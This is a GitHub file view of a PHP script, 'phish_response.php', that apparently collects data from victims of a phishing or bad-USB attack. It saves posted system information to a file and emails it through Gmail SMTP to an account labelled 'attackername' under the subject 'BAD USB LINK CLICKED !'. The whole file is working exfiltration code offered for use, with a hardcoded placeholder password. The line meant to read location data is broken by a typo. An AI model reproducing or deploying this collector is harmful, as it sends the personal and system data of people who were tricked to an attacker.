-
Notifications
You must be signed in to change notification settings - Fork 0
/
phish_response.php
57 lines (40 loc) · 1.54 KB
/
phish_response.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
$sysinfo_response = $_POST['sysinfo_post'];
$location_response = $POST['location_post'];
//Save response into a file
$myfile = fopen("responses.txt", "a") or die("Unable to open file!");
$responses_final = $sysinfo_response;
fwrite($myfile, $responses_final);
fclose($myfile);
// Send email to [email protected]
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require_once __DIR__ . '/vendor/phpmailer/phpmailer/src/Exception.php';
require_once __DIR__ . '/vendor/phpmailer/phpmailer/src/PHPMailer.php';
require_once __DIR__ . '/vendor/phpmailer/phpmailer/src/SMTP.php';
// passing true in constructor enables exceptions in PHPMailer
$mail = new PHPMailer(true);
try {
// Server settings
$mail->SMTPDebug = SMTP::DEBUG_SERVER; // for detailed debug output
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
$mail->Username = '[email protected]'; // YOUR gmail email
$mail->Password = 'test@123'; // YOUR gmail password
// Sender and recipient settings
$mail->setFrom('[email protected]', 'attackername');
$mail->addAddress('[email protected]', 'attackername');
// Setting the email content
$mail->IsHTML(false);
$mail->Subject = "BAD USB LINK CLICKED !";
$mail->Body = $responses_final;
$mail->send();
echo "Email message sent.";
} catch (Exception $e) {
echo "Error in sending email. Mailer Error: {$mail->ErrorInfo}";
}
?>